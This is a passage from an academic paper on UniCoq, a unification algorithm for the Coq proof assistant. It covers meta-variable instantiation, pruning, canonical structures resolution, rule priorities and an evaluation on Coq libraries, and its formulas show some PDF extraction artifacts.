to certain values, like an irreducible match. More precisely, we
define the concept of “being stuck” as

is_stuck t = ∃t′ t′′. t 0..1
δE,δΓ t

′ ∧ t′ ↓wβζιθ t′′ and the head
of t′′ is a variable, case, fix, or abstraction

That is, after performing an (optional) δE or δΓ step and βζιθ-
weak-head reducing the definition, the head element of the result
is tested to be a match, fix, variable, or a λ-abstraction. Note that
the reduction will effectively stop at the first head constant, without
unfolding it further. This is important, for instance, when having a
definition that reduces to a projector of a structure. If the projector
is not exposed, and is instead reduced, then some canonical solution
may be lost.

The rule CONS-δNOTSTUCKR unfolds the right-hand side constant
only if it will not get stuck. If it is stuck, then the rule CONS-δSTUCKL
triggers and unfolds the left-hand side, which is precisely what
happened in the example above. The rules CONS-δ are triggered
as a last resort. This controlled unfolding of constants, together
with canonical structures resolution, is what allows the encoding of
sophisticated meta-programming idioms in [12].

When none of the rules above applies, the algorithm tries η-
expansion (LAM-η rules). These rules unifies a function λx : T. t
with a term u. The first premise ensures that u’s head is not
an abstraction to avoid overlapping with the LAM-SAME rules,
otherwise it is possible to build an infinite loop together with
the rules LAM-β. The following two hypotheses ensure that u has
product type with T as domain. First, the type of u is computed as
U , and then we ensure U is a product with domain T calling the
following function:

ensure_product(` � C; Σ0; Γ;T ;U) = (φ2; Σ2)

where φ1 = `, i � C for fresh universe level i
and Σ1 = Σ0, ?v : Type(i)[Γ, y : T ] for fresh ?v

and φ1; Σ1; Γ ` U ≈≡ ∀y : T. ?v[Γ̂, y] B φ2; Σ2

This function returns the result of unifying U with a product type
with domain T and unknown range ?v. For this, the meta-context
Σ0 is extended with ?v having type Type(i), for fresh universe level
i, and context Γ extended with y : T .

We consider η-expansion as a last resort in the hope of obtaining
a function beforehand, after expanding some definition.

4.3 Meta-Variable Instantiation
The rules for meta-variable instantiation are considered in Figure 6,
most of which are inspired by Abel & Pientka [1]. There are,
however, several differences between their work and ours, since
we have a different base logic (CIC instead of LF), and a different
assumption on the types of the terms: they require the terms being
unified to have the same (known) type, while we do not (types play
no directing role in our unification judgment).

For presentation purposes, we only present the rules having
a meta-variable on the right-hand side of the equation, but the
algorithm also includes the rules with the terms swapped.

Same Meta-Variable: If both terms are the same meta-variable
?x, we have two distinct cases: if their substitution is exactly the
same, the rule META-SAME-SAME applies, in which the arguments of
the meta-variable are compared point-wise. Note that we require the
elements in the substitution to be the same, and not just convertible.
If, instead, their substitutions are different, the rule META-SAME is
attempted. To better understand this rule, let’s look at an example.
Suppose ?z has type T [x1 : nat, x2 : nat] and we have to solve the
equation

?z[y1, y2] ≈ ?z[y1, y3]

where y1, y2 and y3 are distinct variables. From this equation we
cannot know yet what value ?z will hold, but at least we know it
cannot refer (up to conversion) to the second parameter, x2, since
then the above equation would have no solution. This reasoning is
reflected in the rule META-SAME in the hypothesis

Ψ1 ` σ ∩ σ′ B Ψ2

This judgment performs an intersection of both substitutions, filter-
ing out those positions from the context of the meta-variable Ψ1

where the substitutions disagree, resulting in Ψ2.
The intersection judgment is defined in the INTERSEC-* rules

in the same figure. The text inside grey boxes defines a different
rule: it allows us to collapse a rule for declarations and a rule for
definitions into one only rule. The judgment is conservative: it only
filters out different variables. The judgment is undefined if the two
substitutions have different terms (not variables) in some position.
Of course, a more aggressive approach is possible, checking for
convertibility of the terms instead of just syntactic equality, but it is
not clear whether the few more cases covered compensates for the
potential loss in performance.

Coming back to the rule META-SAME, by filtering out the dis-
agreeing positions of the substitution, we obtain a new context Ψ2,
which is a subset of Ψ1. Since this smaller context may be ill-formed,
we sanitize it. The sanitization judgment is defined at the bottom of
the figure, and it simply removes every (possibly defined) variable
in the context whose free variables are not included in the context.
This process results in a new (possibly smaller) context Ψ3. After
making sure that the type T of ?x is still well-formed in this context,
we restrict ?x to only refer to the variables in Ψ3. We do this by
creating a new meta-variable ?y with the type of ?x, but in the con-
text Ψ3. We further instantiate ?x with ?y. Both the creation of ?y
and the instantiation of ?x in the meta-context Σ is expressed in the
fragment Σ ∪ {?y : T [Ψ3], ?x := ?y[Ψ̂3]} of the last hypothesis.
We use this new meta-context to compare point-wise the arguments
of the meta-variable.

Meta-Variable Instantiation: The META-INST rules instantiate a
meta-variable applying a variation of higher-order pattern unifica-
tion (HOPU) [14]. They unify a meta-variable ?x with some term
t, obtaining a MGU (actually, as we will see in §4.3.1, almost a
MGU). As required by HOPU, the meta-variable is applied to a sus-
pended substitution mapping variables to variables, ξ, and a spine
of arguments ξ′, of variables only. Assuming ?x has (contextual)
type T [Ψ], this rule must find a term t′′′ to instantiate ?x such that

t ≈ ?x[ξ] ξ′

that is, after performing the suspended substitution ξ and applying
arguments ξ′ (formally, t′′′{ξ/Ψ̂} ξ′), results in a term convertible
to t.

Having contexts Σ0 and Γ, the new term t′′′ is crafted from t
following these steps:
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META-SAME-SAME
Σ; Γ ` t ≈≡ u B Σ′

Σ; Γ ` ?x[σ] t ≈R ?x[σ] u B Σ′

META-SAME
?x : T [Ψ1] ∈ Σ Ψ1 ` σ ∩ σ′ B Ψ2 · ` sanitize(Ψ2) B Ψ3

FV(T ) ⊆ Ψ3 Σ ∪ {?y : T [Ψ3], ?x := ?y[Ψ̂3]}; Γ ` t ≈≡ u B Σ′

Σ; Γ ` ?x[σ] t ≈R ?x[σ′] u B Σ′

META-INSTR
?x : T [Ψ] ∈ Σ0 t′, ξ1 = remove_tail(t; ξ′) t′ ↓wβ t′′ Σ0 ` prune(?x; ξ, ξ1; t′′) B Σ1 Σ1; Γ ` ξ1 : U

t′′′ = λy : U{ξ, ξ1/Ψ̂, y}−1. Σ1(t′′){ξ, ξ1/Ψ̂, y}−1 Σ1; Ψ ` t′′′ : T ′ Σ1; Ψ ` T ′ ≈≤ T B Σ2 ?x 6∈ FMV(t′′′)

Σ0; Γ ` t ≈R ?x[ξ] ξ′ B Σ2 ∪ {?x := t′′′}

META-FOR
?x : T [Ψ] ∈ Σ0 0 < n Σ0; Γ ` u u′m ≈≡ ?x[σ] B Σ1 Σ1; Γ ` u′′n ≈≡ tn B Σ2

Σ0; Γ ` u u′mu′′n ≈R ?x[σ] tn B Σ2

META-DELDEPSR
?x : T [Ψ] ∈ Σ l = [i|σi is variable and @j > i. σi = (σ, u)j ]

· ` sanitize(Ψl) B Ψ′ FV(T ) ⊆ Ψ′ Σ ∪ {?y : T [Ψ′], ?x := ?y[Ψ̂′]}; Γ ` t ≈R ?y[σl] u B Σ′

Σ; Γ ` t ≈R ?x[σ] u B Σ′

META-REDUCER

?u : T [Ψ] ∈ Σ0 t
w
 

0..1

δ t′ t′ ↓wβζιθ t′′ Σ0; Γ ` t′′ ≈R ?u[σ] tn B Σ1

Σ0; Γ ` t ≈R ?u[σ] tn B Σ1

INTERSEC-NIL

· ` · ∩ · B ·

INTERSEC-KEEP
Ψ ` σ ∩ σ′ B Ψ′

Ψ, x := u : A ` σ, t ∩ σ′, t B Ψ′, x : A

INTERSEC-REMOVE
Ψ ` σ ∩ σ′ B Ψ′ y 6= z

Ψ, x := u : T ` σ, y ∩ σ′, z B Ψ′

SANITIZE-NIL

ξ ` sanitize(·) B ·

SANITIZE-KEEP

FV(T ) ⊆ ξ FV(u) ⊆ ξ x, ξ ` sanitize(Ψ) B Ψ′

ξ ` sanitize(x := u : T,Ψ) B x : T,Ψ′

SANITIZE-REMOVE

FV(T ) 6⊆ ξ ∨ FV(u) 6⊆ ξ ξ ` sanitize(Ψ) B Ψ′

ξ ` sanitize(x := u : T,Ψ) B Ψ′

Figure 6. Meta-variable instantiation.

1. To avoid unnecessarily η-expanded solutions, the term t and ar-
guments ξ′ are decomposed using the function remove_tail(·; ·):

remove_tail(t x; ξ, x) = remove_tail(t; ξ) if x 6∈ FV(t)

remove_tail(t; ξ) = (t, ξ) in any other case

This function, applied to t and ξ′, returns a new term t′ and a
list of variables ξ1, where there exists ξ2 such that t = t′ ξ2 and
ξ′ = ξ1, ξ2, and ξ2 is the longest such list. For instance, in the
following example

?f [] x y ≈ addn x y

where addn is the addition operation on natural numbers, we
want to remove “the tail” on both sides of the equation, leading
to the natural solution ?f [] := addn. In this example, ξ1 is the
empty list, ξ2 is [x, y], and t′ is addn.
The check that x 6∈ FV(t) in the first case above ensures that
no solutions are erroneously discarded. Consider the following
equation:

?f [] x ≈ addn0 x x

If we remove the argument of the meta-variable, we will end up
with the unsolvable equation ?f [] ≈ addn0 x .

2. The term obtained in the previous step is weak head β normal-
ized, noted t′ ↓wβ t′′. This is performed in order to remove false
dependencies, like variable x in (λy. 0) x.

3. The meta-variables in t′′ are pruned. This process is quite
involved, and detailed examples can be found in [1]. The formal
description will be discussed below in §4.3.1.
At high level, the pruning judgment ensures that the term t′′

has no “offending variables”, that is, free variables outside of
those occurring in the substitution ξ, ξ1. It does so by removing
elements from the suspended substitutions occurring in t′′,
containing variables outside of ξ, ξ1. For instance, in the example
?f [] x ≈ addn0 ?u[x, y], the variable y has to be removed
from the substitution on the r.h.s. since it does not occur in the
l.h.s.. Similarly, if the meta-variable being instantiated occurs
inside a suspended substitution, it has to be removed from the
substitution to avoid a circularity in the instantiation. The output
of this judgment is a new meta-context Σ1.

4. The final term t′′′ is constructed as

λy : U{ξ, ξ1/Ψ̂, y}−1. Σ1(t′′){ξ, ξ1/Ψ̂, y}−1

First, note that t′′′ has to be a function taking n arguments y,
where n = |ξ1|. For the moment, let’s forget about the types of
each yj .
The body of this function is the term obtained from the second
step, t′′, after performing a few changes. First, all of its defined
meta-variables are normalized with respect to the meta-context
obtained in the previous step, Σ1, in order to replace the meta-
variables with the pruned ones. This step effectively removes
false dependencies on variables not occurring in ξ, ξ1.
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Then, the inversion of substitution ξ, ξ1/Ψ̂, y is performed. This
inversion ensures that all free variables in Σ1(t′′) are replaced
by variables in Ψ and y. More precisely, it replaces every
variable in Σ1(t′′) appearing only once in the image of the
substitution (ξ, ξ1) by the corresponding variable in the domain
of the substitution (Ψ̂, y). If a variable appears multiple times in
the image and occur in term t′′, then inversion fails.
The type of each argument yj of the function is the type Uj ,
obtained from the j-th element in ξ1, after performing the
inversion substitution (with the caveat that the substitution
includes only the j − 1 elements in y).

5. The type of t′′′, which now only depends on the context Ψ, is
computed as T ′, and unified with the type of ?x, obtaining a
new meta-context Σ2.
In the special case where t′′′ is itself a meta-variable of type an
arity (an n-ary dependent product whose codomain is a sort), we
do not directly force the type of the instance T ′ to be smaller
than T , which would unnecessarily restrict the universe graph.
Instead, we downcast T and T ′ to a smaller type according to the
cumulativity relation before converting them. The idea is that, if
we are unifying meta-variables ?x and ?y, with ?x : Type(i)[Γ]
and ?y : Type(j)[Γ′], the body of ?x and ?y just has to be of
type Type(k) for some k ≤ i, j.

6. Finally, an occurs check is performed to prevent illegal solutions,
making sure ?x does not occur in t′′′.

The algorithm outputs Σ2 plus the instantiation of ?x with t′′′.

First-Order Approximation: The rules META-INST only applies if
the spine of arguments of the meta-variable only have variables. This
can be quite restrictive. Consider for instance the following equation
that tries to unify an unknown function, applied to an unknown
argument, with the term 1 (expanded to S 0):

S 0 ≈ ?f [] ?y[]

As usual, such equations have multiple solutions, but there is one
that is “more natural”: assign S to ?f and 0 to ?y. However, since
the argument to the meta-variable is not a variable, it does not
comply with HOPU, and therefore is not considered by the META-
INST rules. In an scenario like this, the META-FO rules perform a first
order approximation, unifying the meta-variable (?f in the equation
above) with the term on the l.h.s. without the last n arguments (S),
which are in turn unified pointwise with the n arguments in the
spine of the meta-variable (0 and ?y, respectively). Note that the
rule APP-FO does not subsume this rule, as it requires both terms
being equated to have the same number of arguments.

Meta-Variable Dependencies Erasure: If none of the rules above
work, the algorithm makes a somewhat brutal attempt: the rule
META-DELDEPSR chops off every element in the substitution that is
not a variable, or that is a duplicated variable. Therefore, problems
not complying with HOPU can be reconsidered. One issue with
this rule is that it fixes a solution where many solutions may exist.
Although the selected solution works most of the time, as we are
going to see in §5, it might not be the one expected by the user.

Formally, this rule first takes each position i in σ such that σi is
a variable with no duplicated occurrence in σ, u. The resulting list l
containing those positions is used to filter out the local context of
the meta-variable, obtaining the new context Ψ′. After sanitizing
this context, a fresh meta-variable ?y is created in this restricted
local context, and ?x is instantiated with this meta-variable. The new
meta-context obtained after this instantiation is used to recursively
call the unification algorithm to solve the problem ?y[σl] u ≈ t.

Eliminating Dependencies via Reduction: Sometimes the term
being assigned to the meta-variable has variables not occurring in the

substitution, but that can be eliminated via reduction. For instance,
take the following equation

π1(0, x) ≈ ?g[]

It has a solution, after reducing the term on the l.h.s., obtaining the
easily solvable equation 0 ≈ ?g[]. This is precisely what rules
META-REDUCE do, as a last attempt to make progress.

4.3.1 Pruning
Figure 7 shows the actual process of pruning. The pruning judgment
is noted

Σ ` prune(?x; ξ; t) B Σ′

It takes a meta-context Σ, a meta-variable ?x, a list of variables ξ,
the term to be pruned t, and returns a new meta-context Σ′, which
is an extension of Σ where all the meta-variables with offending
variables in their suspended substitution are instantiated with pruned
ones.

For brevity, we only show rules for the Calculus of Constructions
fragment of CIC, i.e., without considering pattern matching and
fixpoints. The missing rules are easy to extrapolate from the given
ones. The only interesting case is when the term t is a meta-
variable ?y applied to the suspended substitution σ. We have two
possibilities: either every variable from every term in σ is included in
ξ, in which case we do not need to prune (PRUNE-META-NOPRUNE),
or there exists some terms which have to be removed (pruned) from
σ (PRUNE-META).

These two rules use an auxiliary judgment to prune the local
context of the meta-variable Ψ0. This judgment has the form

Ψ ` prune_ctx(?x; ξ;σ) B Ψ′

Basically, it filters out every variable in Ψ where σ has an offending
term, that is, a term with a free variable not in ξ, or having ?x in the
set of free meta-variables. Ψ′ is the result of this process.

Coming back to the rules in Figure 7, in PRUNE-META-NOPRUNE

we have the condition that the pruning of context Ψ0 resulted in
the same context (no need for a change). More interestingly, when
the pruning of Ψ0 results in a new context Ψ1, PRUNE-META does
the actual pruning of ?y. Similarly to the rule META-SAME, it first
sanitizes the new context Ψ1, obtaining a new context Ψ2, then it
ensures that the type T is valid in Ψ2, by pruning variables outside
Ψ2, and finally instantiates the meta-variable ?y with a fresh meta-
variable ?z, having contextual type T [Ψ2].

It is important to note that, due to conversion, the process of
pruning may loose solutions. For instance, consider the following
equation:

π1(0, ?x[n]) ≈ ?y[]

The pruning algorithm will remove n from ?x, although another
solution exists by reducing the l.h.s., assigning 0 to ?y.

4.4 Canonical Structures Resolution
When an instance i of a structure is declared Canonical, COQ will
add, for each projector, a record in the canonical structures database
(∆db). Each record registers a key consisting of the projector p and
the head constructor h of the value for that projector in the instance,
and a value, the instance i itself. Then, at high level, when the
algorithm has to solve an equation of the form h t ≈ p ?x, it
searches for the key (p, h) in the database, finding that ?x should
be instantiated with i.

The process is formally described in Figure 8. We always start
from an equation of the form:

t′′ ≈ pj [κ] p i t

where pj is a projector of a structure applied to some universe
instance κ, p are the parameters of the structure, i is the instance
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PRUNE-CONSTANT
h ∈ S ∪ C

Σ ` prune(?x; ξ;h) B Σ

PRUNE-VAR
x ∈ ξ

Σ ` prune(?x; ξ;x) B Σ

PRUNE-LAM, PRUNE-PROD

Π ∈ {λ, ∀} Σ ` prune(?x; ξ, x; t) B Σ′

Σ ` prune(?x; ξ; Πx. t) B Σ′

PRUNE-LET
Σ0 ` prune(?x; ξ; t2) B Σ1

Σ1 ` prune(?x; ξ, x; t1) B Σ2

Σ0 ` prune(?x; ξ; let x := t2 in t1) B Σ2

PRUNE-APP
Σ0 ` prune(?x; ξ; t) B Σ1

Σi ` prune(?x; ξ; ti) B Σi+1 i ∈ [1, n]

Σ0 ` prune(?x; ξ; t tn) B Σn+1

PRUNE-META-NOPRUNE
?y : T [Ψ0] ∈ Σ ?x 6= ?y

Ψ0 ` prune_ctx(?x; ξ;σ) B Ψ0

Σ ` prune(?x; ξ; ?y[σ]) B Σ

PRUNE-META
?y : T [Ψ0] ∈ Σ ?x 6= ?y Ψ0 ` prune_ctx(?x; ξ;σ) B Ψ1

· ` sanitize(Ψ1) B Ψ2 Σ ` prune(?x; Ψ̂2;T ) B Σ′

Σ ` prune(?x; ξ; ?y[σ]) B Σ′, ?z : T [Ψ2] ∪ {?y := ?z[Ψ̂2]}

PRUNECTX-NIL

· ` prune_ctx(?x; ξ; ·) B ·

PRUNECTX-NOPRUNE
FV(t) ⊆ ξ ?x 6∈ FMV(t) Ψ ` prune_ctx(?x; ξ;σ) B Ψ′

Ψ, z : A ` prune_ctx(?x; ξ;σ, t) B Ψ′, z : A

PRUNECTX-PRUNE
FV(t) 6⊆ ξ ∨ ?x ∈ FMV(t) Ψ ` prune_ctx(?x; ξ;σ) B Ψ′

Ψ, x : A ` prune_ctx(?x; ξ;σ, t) B Ψ′

Figure 7. Pruning of meta-variables.

LOOKUP-CS
(pj , h, cι) ∈ ∆db

Φ1, ι = fresh(Φ0, cι) ι δE λx : T . k[κ′] p′ v
Σ1 = Σ0, ?y : T Φ1 |= κ = κ′ B Φ2

Φ2; Σ1; Γ ` p ≈≡ p′{?y/x} B Φ3; Σ2

Φ0; Σ0 ` (pj , κ, p, h) ∈? ∆db B Φ3,Σ2, ι ?y, vj{?y/x}

CS-CONSTR
Φ0; Σ0 ` (pj , κ, p, c) ∈? ∆db B Φ1,Σ1, ι, c[`′] u′

Φ1 |= ` = `′ B Φ2 Φ2; Σ1; Γ ` u ≈≡ u′ B Φ3; Σ2

Φ3; Σ2; Γ ` i ≈≡ ι B Φ4; Σ3

Φ4; Σ4; Γ ` t′ ≈≡ t B Φ5; Σ4

Φ0; Σ0; Γ ` c[`] u t′ ≈R pj [κ] p i t B Φ5; Σ4

CS-PRODR
Φ0; Σ0 ` (pj , κ, p,→) ∈? ∆db B Φ1,Σ1, ι, u→ u′

Φ1; Σ1; Γ ` t ≈≡ u B Φ2; Σ2

Φ2; Σ2; Γ ` t′ ≈R u′ B Φ3; Σ3

Φ3; Σ3; Γ ` i ≈≡ ι B Φ4; Σ4

Φ0,Σ0; Γ ` t→ t′ ≈R pj [κ] p i B Φ4; Σ4

CS-SORTR
Φ0; Σ0 ` (pj , κ, p, s) ∈? ∆db B Φ1,Σ1, ι, vj

Φ1; Σ1; Γ ` s ≈R vj B Φ2; Σ2

Φ2; Σ2; Γ ` i ≈≡ ι B Φ3; Σ3

Φ0; Σ0; Γ ` s ≈R pj [κ] p i B Φ3; Σ3

CS-DEFAULTR
Φ0; Σ0 ` (pj , κ, p, _) ∈? ∆db B Φ1,Σ1, ι, vj

Φ3; Σ2; Γ ` t ≈R vj B Φ4; Σ3

Φ4; Σ3; Γ ` i ≈≡ ι B Φ5; Σ4

Φ0; Σ0; Γ ` t ≈R pj [κ] p i B Φ5; Σ4

Figure 8. Canonical structures resolution.

(usually a meta-variable), and t are the arguments of the projected
value, in the case when it has product type. In order to solve this
equation the algorithm proceeds as follows:

1. First, a constant cι is selected from ∆db, keying on the projector
pj and the head element h of t′′. The constant cι stored in the
database is a potentially polymorphic constant, so we build a
fresh instance of it (ι) and add the fresh universe levels and
constraints to the universe context. Its body is a function taking
arguments x : T and returning the term k[κ′] p′ v, with k the
constructor of the structure applied to a universe instance κ′, p′
the parameters of the structure, and v the values for each of the
fields of the structure.

2. Then, the expected and inferred universe instances and parame-
ters of the instance are unified, after replacing every argument x
with a corresponding fresh meta-variable ?y.

3. According to the class of h, the algorithm considers different
rules:

(a) CS-CONST if h is a constant c.

(b) CS-PROD if h is a non-dependent product t→ t′.

(c) CS-SORT if h is a sort s.

If these do not apply, then it tries CS-DEFAULT.

4. Next, the term t′′ is unified with the corresponding projected
term in the value of the instance for the j-th field. If t′′ is a
constant c applied to arguments u and the value vj of the j-
th field of ι is c applied to u′, then the universe instances and
arguments u and u′ are unified. If t′′ is a product with premise
t and conclusion t′, they are unified with the corresponding
terms (u and u′) in vj . Note that cumulativity is preserved in the
codomain of products and in the CS-SORT rule.

5. The instance of the structure i is unified with the instance found
in the database, ι, applied to the meta-variables y. Typically,
i is a meta-variable, and this step results in instantiating the
meta-variable with the constructed instance.

6. Finally, for CS-CONST only, if the j-th field of the structure
has product type, and is applied to t′ arguments, then these
arguments are unified with the arguments t of the projector.
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As with the rules for meta-variable instantiation, we only show
the rules in one direction, with the projector on the right-hand side,
but the algorithm also includes the rules in the opposite direction.

4.5 Rule Priorities and Backtracking
The figures shown above does not precisely nail the priority of
the rules, nor when the algorithm backtracks. Below we show the
precise order of application of the rules, where the rules in the same
line are tried in the given order without backtracking (the first one
matching the conclusion and whose side-conditions are satisfied
is used). Rules in different lines or in the same line separated by |
are tried with backtracking (if one fails to apply, the next is tried).
Note that if at any point the environment and the two terms to be
unified are ground (they do not contain meta-variables), unification
is skipped entirely and a call to COQ’s efficient conversion algorithm
is made instead.

1. If a term has a defined meta-variable in its head position:

(a) META-δR, META-δL

2. If both terms heads are the same undefined meta-variable:

(a) META-SAME-SAME, META-SAME

3. If one term has an undefined meta-variable, and the other term
does not have the same meta-variable in its head position:
META-INSTR |META-FOR |META-REDUCER |META-DELDEPSR |
LAM-ηR | META-INSTL | META-FOL | META-REDUCEL |
META-DELDEPSL | LAM-ηL

4. Else:

(a) If the two terms have different head constants:

i. (CS-CONSTR, CS-PRODR, CS-SORTR) | CS-DEFAULTR

ii. (CS-CONSTL, CS-PRODL, CS-SORTL) | CS-DEFAULTL

(b) APP-FO

(c) The remaining rules from Figure 4 in the following order,
backtracking only if the hypotheses that are not recursive
calls to the algorithm fail to apply:
LAM-βR | LET-ζR | CASE-ιR | LAM-βL | LET-ζL | CASE-ιL |
CONS-δNOTSTUCKR | CONS-δSTUCKL | CONS-δR | CONS-δL |
LAM-ηR | LAM-ηL

4.6 A Deliberate Omission: Constraint Postponement
The technique of constraint postponement [18] is widely adopted in
unification algorithms, including the current algorithm of COQ. It
has however some negative impact in COQ, and, as it turns out, it is
not as crucial as generally believed.

First, let us show why this technique is incorporated into proof
assistants. Sometimes the unification algorithm is faced with an
equation that has multiple solutions, in a context where there should
only be one possible candidate. For instance, consider the following
term witnessing an existential quantification:

exist _ 0 (le_n 0) : ∃x. x ≤ x

where exist is the constructor of the type ∃x. P x, withP a predicate
over the (implicit) type of x. More precisely, exist takes a predicate
P , an element x, and a proof that P holds for x, that is, P x. In the
example above we are providing an underscore in place of P , since
we want COQ to find out the predicate, and we annotate the term
with a typing constraint (after the colon) to specify that the whole
term is a proof of existence of a number lesser or equal to itself. In
this case, we provide 0 as such number, and the proof le_n 0, which
has type 0 ≤ 0.

During typechecking, COQ first infers the type of the term on the
left of the colon, and only then it verifies that this type is compatible
(i.e., unifiable) with the typing constraint. When inferring the type
for the term on the left, COQ will create a fresh meta-variable for
the predicate P , let’s call it ?P , and unify ?P 0 with 0 ≤ 0, the type
of le_n 0. Without any further information, COQ has four different
(incomparable) solutions for P : λx. 0 ≤ 0, λx. x ≤ 0, λx. 0 ≤
x, λx. x ≤ x.

When faced with such an ambiguity, COQ postpones the equation
in the hope that further information will help disambiguate the
problem. In this case, the necessary information is given later on
through the typing constraint, which narrows the set of solutions to
a unique solution.

Constraint postponment has its consequences, though: On one
hand, the algorithm can solve more unification problems and hence
fewer typing annotations are required (e.g., we do not need to specify
P ). On the other hand, since constraints are delayed, the algorithm
becomes hard to debug and, at times, slow. The reason for these
assertions comes from the realisation that the algorithm will continue
to (try to) unify the terms, piling up constraints on the way, perhaps
to later on find out that, after all, the terms are not unifiable (or are
unifiable only if some decision is taken on the delayed equations).

When combined with canonical structures resolution, or any
other form of proof automation, this technique is particularly bad, as
it may break the assumption that certain value has been previously
assigned. The motivation to omit this technique came from expe-
rience in projects on proof automation by the first author [12, 25],
and on bi-directional elaboration by the second author (in the above
example, a bi-directional elaboration algorithm will unify the type
returned by exist with the expected type, and only then unify the
type of its arguments, thereby posing the unification problems in the
right order).

Our results (§5) show that this technique is not crucial.

4.7 Correctness
Our algorithm should satisfy the following correctness criterion: if
two well-typed terms t1 and t2 unify under universe context Φ and
meta-context Σ, resulting in a new universe Φ′ and meta-context
Σ′, both terms should also be well typed under Σ′. Moreover, both
terms should be convertible (or in the cumulativity relation) under
Φ′,Σ′.

However, this is false—for both the current algorithm imple-
mented in COQ, and the one described here. The culprit is the
syntactic check required at typechecking to ensure termination of
fixpoints, the guard condition. Indeed, it is easy to make unification
instantiate a meta-variable with a term containing a non-structurally-
recursive call to a recursive function in its context, resulting in an
ill-typed term. Hence, we must weaken this conjecture to use a
weaker notion of typing, as in Coen’s thesis [19].

For the moment we lack a correctness proof. This work sets the
first stone presenting a specification faithful to an implementation
that performs well on a variety of large examples (§5). We anticipate
that the proof will be simpler than for existing algorithms, notably
due to the lack of postponment which usually complicates the
argument of type preservation.

5. Evaluation of the Algorithm
Since, as we saw in §4.6, our algorithm does not incorporate certain
heuristics, it is reasonable to expect that it will fail to solve several
unification problems appearing in existing libraries. To test our
algorithm “in the wild” we developed a plugin called UniCoq3,
which, when requested, changes the current unification algorithm
of COQ with ours. With this plugin, we compiled four different

3 Sources can be downloaded from http://github.com/unicoq .
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libraries, and evaluated the number of lines that required changes.
These changes may be necessary either because UniCoq found a
different solution from the expected one, or because it found no
solution at all. As it turns out, UniCoq solved most of the problems
it encountered.

The first set of files we considered is the standard library of COQ.
With UniCoq, it compiles almost out of the box, with only a few
lines requiring extra typing annotations. We believe the reason for
such success is that most of the files in the library are several years
old, and were conceived in older versions of COQ, when it had a
much simpler unification algorithm.

The second set of files come from Adam Chlipala’s book “Certi-
fied Programming with Dependent Types” (CPDT) [7]. This book
provides several examples of functional programming with depen-
dent types, including several non-trivial unification patterns coming
from dependent matches. As a result, from a total of 6,200 lines, only
14 required extra typing annotations. It is interesting to note that 8
of those lines are solved with the use of a bi-directional elaboration
algorithm [e.g., 4] enabled by COQ’s Program keyword. For in-
stance, some lines construct witnesses for existential quantification,
similar to the example shown in §4.6.

The third one is the Mathematical Components library [11],
version 1.5beta1. This library presents several challenges, making it
appealing for our purpose: (1) It is a huge development, with a total
of 78 theory files. (2) It uses canonical structures heavily, providing
us with several examples of canonical structures idioms that UniCoq
should support. (3) It uses its own set of tactics uniformly calling the
same unification algorithm used for elaboration. This last point
is extremely important, although a bit technical. Truth be told,
COQ has actually two different unification algorithms. One of these
algorithms is mainly used by elaboration, and it outputs a sound
substitution (up to bugs). This is the one mentioned in this paper
as “the original unification algorithm of COQ”. The other algorithm
is used by most of COQ’s original tactics (like apply or rewrite),
but it is unsound (in COQ 8.4, it may return ill-typed solutions).
Ssreflect’s tactics use the former algorithm which is the one being
replaced by our plugin. From the 82,000 lines in the library, only 40
lines required changes.

The last set of files also focuses in different canonical structures
idioms: the files from Lemma Overloading [12]. It compiles almost
as-is, with only one line requiring an extra annotation.

5.1 A Word on the META-DELDEPS Rules
In a sense, the rules META-DELDEPS are a bit brutal: they fix an
arbitrary solution from the set of possible ones, which might not be
the one expected. However, as the numbers above suggest, it works
most of the time. In this section we analyse, for the Mathematical
Components library, the origins of the unification problems that fail
when this rule is turned off (totaling +300 lines).

Non-dependent if−then−elses: Most notably, the culprit for
about two thirds of the failures are Ssreflect’s if−then−elses. In
Ssreflect, the type of the branches of an if are assumed to depend
on the conditional. For instance, the example if b then 0 else 1
fails to compile if the Ssreflect library is imported. With Ssreflect,
a fresh meta-variable ?T is created for the type of the branches, with
contextual type Type[b : true]. When unifying it with the actual
type of each branch, b is substituted by the corresponding boolean
constructor. This results in the following equations:

?T [true] ≈ nat ?T [false] ≈ nat

Since they are not of the form required by HOPU, UniCoq (without
the META-DELDEPS rules) fails.

False dependency in the in modifier: Another less common issue
comes from the in modifier in Ssreflect’s rewrite tactic. This

modifier allows the selection of a portion of the goal to perform the
rewrite. For instance, if the goal is 1 + x = x+ 1 and we want to
apply commutativity of addition on the term on the right, we can
perform the following rewrite:

rewrite [in X in _ = X]addnC

With the rule, UniCoq instantiates X with the r.h.s. of the equation,
and rewrite applies commutativity only to that portion of the goal.
Without it, however, rewrite fails. In this case, the hole (_) is
replaced by a meta-variable ?y, which is assumed to depend on
X . But X is also replaced by a meta-variable, ?z, therefore the
unification problem becomes

?y[x, ?z[x]] = ?z[x] ≈ 1 + x = x+ 1

that, in turn, poses the equation ?y[x, ?z[x]] ≈ 1 + x, which does
not have an MGU.

Non-dependent products: About 30 lines required a simple typ-
ing annotation to remove dependencies in products. Consider the
following COQ term:

∀P x. (P (S x) = True)

When COQ elaborates this term, it first assigns P and x two
unknown types, ?T and ?U respectively, the latter depending on P .
Then, it elaborates the term on the left of the equal sign, obtaining
further information about the type ?T of P : it has to be a (possibly
dependent) function ∀y : nat. ?T ′[y]. The type of the term on
the left is the type of P applied to S x, that is, ?T ′[S x]. After
elaborating the term on the right and finding out it is a Prop, it
unifies the types of the two terms, obtaining the equation

?T ′[S x] ≈ Prop

Since, again, this equation does not comply with HOPU, UniCoq
fails without META-DELDEPS.

Explicit duplicated dependencies: There are 15 occurrences
where the proof developer wrote explicitly a dependency that dupli-
cates an existing one. Consider for instance the following rewrite
statement:

rewrite [_ + _ w]addnC

Here, the proof developer intends to rewrite using commutativity
on a fragment of the goal matching the pattern _ + _ w. Let’s
assume that in the goal there is one occurrence of addition having
w occurring in the right, say t+ (w + u), for some terms t and u.
Since the holes (_) are elaborated as a meta-variable depending on
the entire local context, in this case it will include w. Therefore, the
pattern will be elaborated as ?y[w] + ?z[w] w (assuming no other
variables appear in the local context). When unifying the pattern
with the desired occurrence we obtain the problem:

?z[w] w ≈ w + u

This equation does not have a MGU, since either w on the l.h.s.
can be used as a representative for the w on the r.h.s.. The rules
META-DELDEPS remove the inner w.

Looking closely into these issues, it seems as if the dependencies
were incorrectly introduced in the first place. We plan to study
modifications to elaboration and tactics to avoid these dependencies,
and study the impact of such changes.

6. Closing Remarks
We presented the first formalization of a realistic unification algo-
rithm for COQ, featuring overloading and universe polymorphism.
Moreover, we give a precise characterization of controlled backtrack-
ing (rules APP-FO plus CONS-*), which, together with the rules for
